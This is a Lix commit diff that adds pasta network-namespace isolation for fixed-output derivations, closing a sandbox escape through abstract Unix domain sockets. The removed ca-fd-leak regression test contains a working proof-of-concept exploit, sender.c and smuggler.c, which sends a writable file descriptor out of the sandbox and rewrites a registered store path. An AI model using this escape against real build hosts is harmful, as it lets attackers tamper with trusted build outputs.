libstore: use pasta for FODs if available

This allows using a userspace program, pasta, to handle comms between
the build sandbox, and the outside world; allowing for full isolation
including the network namespace, closing the "fixed-output derivation
talks to the host over an abstract domain socket" hole for good.

Co-Authored-By: Puck Meerburg <puck@puckipedia.com>
Change-Id: Ifd499b7dbb3784600a6e842fede65fc031ff9f15
This commit is contained in:
eldritch horrors
2025-06-23 20:45:08 +00:00
co-authored by Puck Meerburg
parent 3ba1c8dab8
commit f58b74cb5b
17 changed files with 317 additions and 229 deletions
+20
View File
@@ -0,0 +1,20 @@
---
synopsis: "Fixed output derivations can be run using `pasta` network isolation"
cls: [3418]
issues: [fj#285]
category: "Breaking Changes"
credits: [horrors, puck]
---
Fixed output derivations traditionally run in the host network namespace.
On Linux this allows such derivations to communicate with other sandboxes
or the host using the abstract Unix domains socket namespace; this hasn't
been unproblematic in the past and has been used in two distinct exploits
to break out of the sandbox. For this reason fixed output derivations can
now run in a network namespace (provided by [`pasta`]), restricted to TCP
and UDP communication with the rest of the world. When enabled this could
be a breaking change and we classify it as such, even though we don't yet
enable or require such isolation by default. We may enforce this in later
releases of Lix once we have sufficient confidence that breakage is rare.
[`pasta`]: https://passt.top/
+7
View File
@@ -376,6 +376,13 @@ endif
# FIXME(Qyriad): the autoconf system checks that busybox has the "standalone" feature, indicating
# that busybox sh won't run busybox applets as builtins (which would break our sandbox).
pasta_path = get_option('pasta-path')
# we can't check the pasta version because passt misuses stdio (it calls _exit()
# after printing the version, which will never print the version unless run from
# a terminal). pasta isn't mandatory yet due to high fetcher breakage potential.
# we *will* enable it in our own packaging, but distributions are not forced to.
pasta = find_program(pasta_path, required : false, native : false)
lsof = find_program('lsof', native : true)
# This is how Nix does generated headers...
+4
View File
@@ -24,6 +24,10 @@ option('sandbox-shell', type : 'string', value : 'busybox',
description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)',
)
option('pasta-path', type : 'string', value : 'pasta',
description : 'path to the location of pasta (provided by passt)',
)
option('enable-tests', type : 'boolean', value : true,
description : 'whether to enable tests or not (requires rapidcheck and gtest)',
)
+60
View File
@@ -0,0 +1,60 @@
{
lib,
stdenv,
buildPackages,
fetchurl,
getconf,
gitUpdater,
testers,
}:
stdenv.mkDerivation (finalAttrs: {
pname = "passt";
version = "2025_02_17.a1e48a0";
src = fetchurl {
url = "https://passt.top/passt/snapshot/passt-${finalAttrs.version}.tar.gz";
hash = "sha256-/FUXxeYv3Lb0DiXmbS2PUzfLL5ZwHJ42tiuH7YnlljE=";
};
postPatch = ''
substituteInPlace Makefile --replace-fail \
'PAGE_SIZE=$(shell getconf PAGE_SIZE)' \
"PAGE_SIZE=$(${stdenv.hostPlatform.emulator buildPackages} ${lib.getExe getconf} PAGE_SIZE)"
'';
makeFlags = [
"prefix=${placeholder "out"}"
"VERSION=${finalAttrs.version}"
];
passthru = {
tests.version = testers.testVersion { package = finalAttrs.finalPackage; };
updateScript = gitUpdater { url = "https://passt.top/passt"; };
};
meta = with lib; {
homepage = "https://passt.top/passt/about/";
description = "Plug A Simple Socket Transport";
longDescription = ''
passt implements a translation layer between a Layer-2 network interface
and native Layer-4 sockets (TCP, UDP, ICMP/ICMPv6 echo) on a host.
It doesn't require any capabilities or privileges, and it can be used as
a simple replacement for Slirp.
pasta (same binary as passt, different command) offers equivalent
functionality, for network namespaces: traffic is forwarded using a tap
interface inside the namespace, without the need to create further
interfaces on the host, hence not requiring any capabilities or
privileges.
'';
license = [
licenses.bsd3 # and
licenses.gpl2Plus
];
platforms = platforms.linux;
maintainers = with maintainers; [ _8aed ];
mainProgram = "passt";
};
})
+6
View File
@@ -39,6 +39,8 @@
meson,
ninja,
openssl,
# FIXME: we need passt 2024_12_11.09478d5 or newer, i.e. nixos 25.05 or later
passt-lix ? __forDefaults.passt-lix,
pegtl,
pkg-config,
python3,
@@ -87,6 +89,8 @@
lix-doc = callPackage ./lix-doc/package.nix { };
build-release-notes = callPackage ./maintainers/build-release-notes.nix { };
passt-lix = callPackage ./misc/passt.nix { };
},
}:
let
@@ -195,6 +199,7 @@ stdenv.mkDerivation (finalAttrs: {
# which don't actually get added to PATH. And buildInputs is correct over
# nativeBuildInputs since this should be a busybox executable on the host.
"-Dsandbox-shell=${lib.getExe' busybox-sandbox-shell "busybox"}"
"-Dpasta-path=${lib.getExe' passt-lix "pasta"}"
]
++ lib.optional hostPlatform.isStatic "-Denable-embedded-sandbox-shell=true"
++ lib.optional (finalAttrs.dontBuild && !lintInsteadOfBuild) "-Denable-build=false"
@@ -266,6 +271,7 @@ stdenv.mkDerivation (finalAttrs: {
++ lib.optionals hostPlatform.isLinux [
libseccomp
busybox-sandbox-shell
passt-lix
]
++ lib.optional internalApiDocs rapidcheck
++ lib.optional hostPlatform.isx86_64 libcpuid
+37 -1
View File
@@ -17,6 +17,7 @@
#include "namespaces.hh"
#include "child.hh"
#include "unix-domain-socket.hh"
#include "platform/linux.hh"
#include <regex>
#include <queue>
@@ -1498,7 +1499,7 @@ void LocalDerivationGoal::runChild()
/* N.B. it is realistic that these paths might not exist. It
happens when testing Nix building fixed-output derivations
within a pure derivation. */
for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" })
for (auto & path : { "/etc/services", "/etc/hosts" })
if (pathExists(path)) {
// Copy the actual file, not the symlink, because we don't know where
// the symlink is pointing, and we don't want to chase down the entire
@@ -1519,6 +1520,11 @@ void LocalDerivationGoal::runChild()
copyFile(path, chrootRootDir + path, { .followSymlinks = true });
}
if (pathExists("/etc/resolv.conf")) {
const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf"));
writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf);
}
if (settings.caFile != "" && pathExists(settings.caFile)) {
// For the same reasons as above, copy the CA certificates file too.
// It should be even less likely to change during the build than resolv.conf.
@@ -1640,6 +1646,36 @@ void LocalDerivationGoal::runChild()
if (setuid(sandboxUid()) == -1)
throw SysError("setuid failed");
if (runPasta) {
// wait for the pasta interface to appear. pasta can't signal us when
// it's done setting up the namespace, so we have to wait for a while
AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
if (!fd) throw SysError("cannot open IP socket");
struct ifreq ifr;
strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME);
// wait two minutes for the interface to appear. if it does not do so
// we are either grossly overloaded, or pasta startup failed somehow.
static constexpr int SINGLE_WAIT_US = 1000;
static constexpr int TOTAL_WAIT_US = 120'000'000;
for (unsigned tries = 0; ; tries++) {
if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) {
throw Error(
"sandbox network setup timed out, please check daemon logs for "
"possible error output."
);
} else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) {
if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) {
break;
}
} else if (errno == ENODEV) {
usleep(SINGLE_WAIT_US);
} else {
throw SysError("cannot get loopback interface flags");
}
}
}
setUser = false;
}
#endif
@@ -337,6 +337,12 @@ struct LocalDerivationGoal : public DerivationGoal
protected:
using DerivationGoal::DerivationGoal;
/**
* Whether to run pasta for network-endowed derivations. Running pasta
* currently requires actively waiting for its net-ns setup to finish.
*/
bool runPasta = false;
/**
* Setup dependencies outside the sandbox.
* Called in the parent nix process.
@@ -346,6 +352,15 @@ protected:
throw Error("sandboxing builds is not supported on this platform");
};
/**
* Rewrite resolv.conf for use in the sandbox. Used in the linux platform
* to replace nameservers * when using pasta for fixed output derivations.
*/
virtual std::string rewriteResolvConf(std::string fromHost)
{
return fromHost;
}
/**
* Create a new process that runs `openSlave` and `runChild`
* On some platforms this process is created with sandboxing flags.
+3
View File
@@ -78,6 +78,9 @@ Settings::Settings()
#if defined(__linux__) && defined(SANDBOX_SHELL)
sandboxPaths = tokenizeString<StringSet>("/bin/sh=" SANDBOX_SHELL);
#endif
#if defined(__linux__) && defined(PASTA_PATH)
pastaPath.setDefault(PASTA_PATH);
#endif
/* chroot-like behavior from Apple's sandbox */
#if __APPLE__
+10
View File
@@ -561,6 +561,16 @@ public:
)",
{"build-chroot-dirs", "build-sandbox-paths"}};
#if defined(__linux__)
Setting<Path> pastaPath{this, "", "pasta-path",
R"(
If set to an absolute path, enables fully sandboxing fixed-output
derivations, by using `pasta` to pass network traffic between the
private network namespace. This allows for greater levels of isolation
of builds to the host.
)"};
#endif
Setting<bool> sandboxFallback{this, true, "sandbox-fallback",
"Whether to disable sandboxing when the kernel doesn't allow it."};
+6
View File
@@ -197,6 +197,12 @@ if busybox.found()
}
endif
if pasta.found()
cpp_str_defines += {
'PASTA_PATH': pasta.full_path(),
}
endif
cpp_args = []
foreach name, value : cpp_str_defines
+130 -4
View File
@@ -1,15 +1,25 @@
#include "build/worker.hh"
#include "cgroup.hh"
#include "file-descriptor.hh"
#include "file-system.hh"
#include "finally.hh"
#include "gc-store.hh"
#include "processes.hh"
#include "signals.hh"
#include "platform/linux.hh"
#include "regex.hh"
#include "strings.hh"
#include <csignal>
#include <cstdlib>
#include <grp.h>
#include <regex>
#include <sys/prctl.h>
#if __linux__
#include <linux/capability.h>
#endif
#if HAVE_SECCOMP
#include <linux/filter.h>
#include <seccomp.h>
@@ -57,6 +67,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots)
}
}
LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal()
{
// pasta being left around mostly happens when builds are aborted
if (pastaPid) {
pastaPid.kill();
}
}
void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked)
{
auto procDir = AutoCloseDir{opendir("/proc")};
@@ -832,6 +850,26 @@ void LinuxLocalDerivationGoal::prepareSandbox()
}
}
std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost)
{
if (!runPasta) {
return fromHost;
}
static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline;
static std::regex lineRegex("^nameserver\\s.*$", flags);
static std::regex v4Regex("^nameserver\\s+\\d{1,3}\\.", flags);
static std::regex v6Regex("^nameserver.*:", flags);
std::string nsInSandbox = "\n";
if (std::regex_search(fromHost, v4Regex)) {
nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4);
}
if (std::regex_search(fromHost, v6Regex)) {
nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6);
}
return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox;
}
Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
{
#if HAVE_SECCOMP
@@ -859,9 +897,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
- The private network namespace ensures that the builder
cannot talk to the outside world (or vice versa). It
only has a private loopback interface. (Fixed-output
derivations are not run in a private network namespace
to allow functions like fetchurl to work.)
only has a private loopback interface. If a copy of
`pasta` is available, Fixed-output derivations are run
inside a private network namespace with internet
access, otherwise they are run in the host's network
namespace, to allow functions like fetchurl to work.
- The IPC namespace prevents the builder from communicating
with outside processes using SysV IPC mechanisms (shared
@@ -882,6 +922,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
if (derivationType->isSandboxed())
privateNetwork = true;
// don't launch pasta unless we have a tun device. in a build sandbox we
// commonly do not, and trying to run pasta anyway naturally won't work.
runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun");
userNamespaceSync.create();
Pipe sendPid;
@@ -906,7 +950,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
ProcessOptions options;
options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD;
if (privateNetwork)
// we always want to create a new network namespace for pasta, even when
// we can't actually run it. not doing so hides bugs and impairs purity.
if (settings.pastaPath != "" || privateNetwork)
options.cloneFlags |= CLONE_NEWNET;
if (usingUserNamespace)
options.cloneFlags |= CLONE_NEWUSER;
@@ -988,6 +1034,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
/* Signal the builder that we've updated its user namespace. */
writeFull(userNamespaceSync.writeSide.get(), "1");
if (runPasta) {
// Bring up pasta, for handling FOD networking. We don't let it daemonize
// itself for process managements reasons and kill it manually when done.
// TODO add a new sandbox mode flag to disable all or parts of this?
Strings args = {
// clang-format off
"--quiet",
"--foreground",
"--config-net",
"--gateway", PASTA_HOST_IPV4,
"--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK,
"--dns-forward", PASTA_HOST_IPV4,
"--gateway", PASTA_HOST_IPV6,
"--address", PASTA_CHILD_IPV6,
"--dns-forward", PASTA_HOST_IPV6,
"--ns-ifname", PASTA_NS_IFNAME,
"--no-netns-quit",
"--netns", "/proc/self/fd/0",
// clang-format on
};
AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
if (!netns) {
throw SysError("failed to open netns");
}
AutoCloseFD userns;
if (usingUserNamespace) {
userns =
AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
if (!userns) {
throw SysError("failed to open userns");
}
args.push_back("--userns");
args.push_back("/proc/self/fd/1");
}
// FIXME ideally we want a notification when pasta exits, but we cannot do
// this at present. without such support we need to busy-wait for pasta to
// set up the namespace completely and time out after a while for the case
// of pasta launch failures. pasta logs go to syslog only for now as well.
pastaPid = runProgram2({
.program = settings.pastaPath,
.args = args,
.uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt,
.gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt,
// TODO these redirections are crimes. pasta closes all non-stdio file
// descriptors very early and lacks fd arguments for the namespaces we
// want it to join. we cannot have pasta join the namespaces via pids;
// doing so requires capabilities which pasta *also* drops very early.
.redirections = {
{.from = 0, .to = netns.get()},
{.from = 1, .to = userns ? userns.get() : 1},
},
.caps = getuid() == 0
? std::set<long>{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE}
: std::set<long>{},
});
}
return pid;
}
@@ -1002,5 +1109,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats)
} else {
LocalDerivationGoal::killSandbox(getStats);
}
if (pastaPid) {
// FIXME we really want to send SIGTERM instead and wait for pasta to exit,
// but we do not have the infra for that right now. we send SIGKILL instead
// and treat exiting with that as a successful exit code until such a time.
// this is not likely to cause problems since pasta runs as the build user,
// but not inside the build sandbox. if it's killed it's either due to some
// external influence (in which case the sandboxed child will probably fail
// due to network errors, if it used the network at all) or some bug in lix
if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) {
if (WIFSIGNALED(status)) {
throw Error("pasta killed by signal %i", WTERMSIG(status));
} else if (WIFEXITED(status)) {
throw Error("pasta exited with code %i", WEXITSTATUS(status));
} else {
throw Error("pasta exited with status %i", status);
}
}
}
}
}
+18
View File
@@ -4,6 +4,7 @@
#include "build/local-derivation-goal.hh"
#include "gc-store.hh"
#include "local-store.hh"
#include "processes.hh"
namespace nix {
@@ -41,7 +42,23 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal
public:
using LocalDerivationGoal::LocalDerivationGoal;
~LinuxLocalDerivationGoal();
// NOTE these are all C strings because macos doesn't have constexpr std::string
// constructors, and std::string_view is a pain to turn into std::strings again.
static constexpr const char * PASTA_NS_IFNAME = "eth0";
static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1";
static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2";
static constexpr const char * PASTA_IPV4_NETMASK = "16";
// randomly chosen 6to4 prefix, mapping the same ipv4ll as above.
// even if this id is used on the daemon host there should not be
// any collisions since ipv4ll should never be addressed by ipv6.
static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101";
static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102";
private:
RunningProgram pastaPid;
/**
* Create and populate chroot
*/
@@ -70,6 +87,7 @@ private:
return true;
}
std::string rewriteResolvConf(std::string fromHost) override;
};
}
-90
View File
@@ -1,90 +0,0 @@
# Nix is a sandboxed build system. But Not everything can be handled inside its
# sandbox: Network access is normally blocked off, but to download sources, a
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
# The detail here is not important, but in our case it means that the hash of
# the output has to be known beforehand. And if you know that, you get a few
# rights: you no longer run inside a special network namespace!
#
# Now, Linux has a special feature, that not many other unices do: Abstract
# unix domain sockets! Not only that, but those are namespaced using the
# network namespace! That means that we have a way to create sockets that are
# available in every single fixed-output derivation, and also all processes
# running on the host machine! Now, this wouldn't be that much of an issue, as,
# well, the whole idea is that the output is pure, and all processes in the
# sandbox are killed before finalizing the output. What if we didn't need those
# processes at all? Unix domain sockets have a semi-known trick: you can pass
# file descriptors around!
# This makes it possible to exfiltrate a file-descriptor with write access to
# $out outside of the sandbox. And that file-descriptor can be used to modify
# the contents of the store path after it has been registered.
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
# Simple C program that sends a a file descriptor to `$out` to a Unix
# domain socket.
# Compiled statically so that we can easily send it to the VM and use it
# inside the build sandbox.
sender = pkgs.runCommandWith {
name = "sender";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./sender.c}
'';
# Okay, so we have a file descriptor shipped out of the FOD now. But the
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
# lives in a mount namespace where it is not! So even when this file exists
# in the actual Nix store, we're capable of just modifying its contents...
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
# The abstract socket path used to exfiltrate the file descriptor
socketName = "FODSandboxExfiltrationSocket";
in
{
name = "ca-fd-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
};
testScript = { nodes }: ''
start_all()
machine.succeed("echo hello")
# Start the smuggler server
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
# Build the smuggled derivation.
# This will connect to the smuggler server and send it the file descriptor
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "smuggled";
system = builtins.currentSystem;
# look ma, no tricks!
outputHashMode = "flat";
outputHashAlgo = "sha256";
outputHash = builtins.hashString "sha256" "hello, world\n";
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
}'
""".strip())
# Tell the smuggler server that we're done
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
# Check that the file was not modified
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}
-65
View File
@@ -1,65 +0,0 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up a abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror("connect");
if (errno != ECONNREFUSED) break;
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = "";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror("sendmsg");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}
-66
View File
@@ -1,66 +0,0 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0) perror("bind");
res = listen(sock, 1);
if (res < 0) perror("listen");
int smuggling_fd = -1;
// Accept the connection a first time to receive the file descriptor.
fprintf(stderr, "%s\n", "Waiting for the first connection");
int a = accept(sock, 0, 0);
if (a < 0) perror("accept");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
// Grab the copy of the file descriptor.
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
close(a);
// Wait for a second connection, which will tell us that the build is
// done
a = accept(sock, 0, 0);
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
// Write a new content to the file
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
char * new_content = "Pwned\n";
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
if (written_bytes != strlen(new_content)) perror("write");
}
-2
View File
@@ -142,8 +142,6 @@ in
["i686-linux" "x86_64-linux"]
(system: runNixOSTestFor system ./setuid/setuid.nix);
ca-fd-leak = runNixOSTestFor "x86_64-linux" ./ca-fd-leak;
fetch-git = runNixOSTestFor "x86_64-linux" ./fetch-git;
symlinkResolvconf = runNixOSTestFor "x86_64-linux" ./symlink-resolvconf.nix;
+1 -1
View File
@@ -52,7 +52,7 @@ in
security.pki.certificateFiles = [ "${goodCert}/cert.pem" ];
networking.hosts."127.0.0.1" = [ "good" "bad" ];
networking.hosts."192.168.1.1" = [ "good" "bad" ];
virtualisation.writableStore = true;